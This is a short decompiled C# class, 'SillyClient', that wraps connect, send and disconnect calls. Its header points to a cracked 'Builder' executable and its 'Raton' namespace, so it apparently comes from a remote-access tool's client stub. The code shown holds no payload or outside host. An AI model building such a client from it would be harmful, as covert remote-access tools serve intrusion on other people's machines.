35 lines
947 B
C#
35 lines
947 B
C#
// Decompiled with JetBrains decompiler
|
|
// Type: SillyClient
|
|
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
|
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
|
|
|
using Client.Raton;
|
|
|
|
#nullable disable
|
|
public class SillyClient
|
|
{
|
|
internal Supervisor Supervisor { get; }
|
|
|
|
public HandlePacket HandlePacket { get; }
|
|
|
|
public ClientState State => this.Supervisor.State;
|
|
|
|
public SillyClient()
|
|
{
|
|
this.HandlePacket = new HandlePacket(this);
|
|
this.Supervisor = new Supervisor(this);
|
|
}
|
|
|
|
public void Connect() => this.Supervisor.Start();
|
|
|
|
public void Disconnect() => this.Supervisor.Stop();
|
|
|
|
public void Send(byte[] data) => this.Supervisor.Send(data);
|
|
|
|
public bool IsConnected()
|
|
{
|
|
return this.State == ClientState.Connected || this.State == ClientState.Ready;
|
|
}
|
|
}
|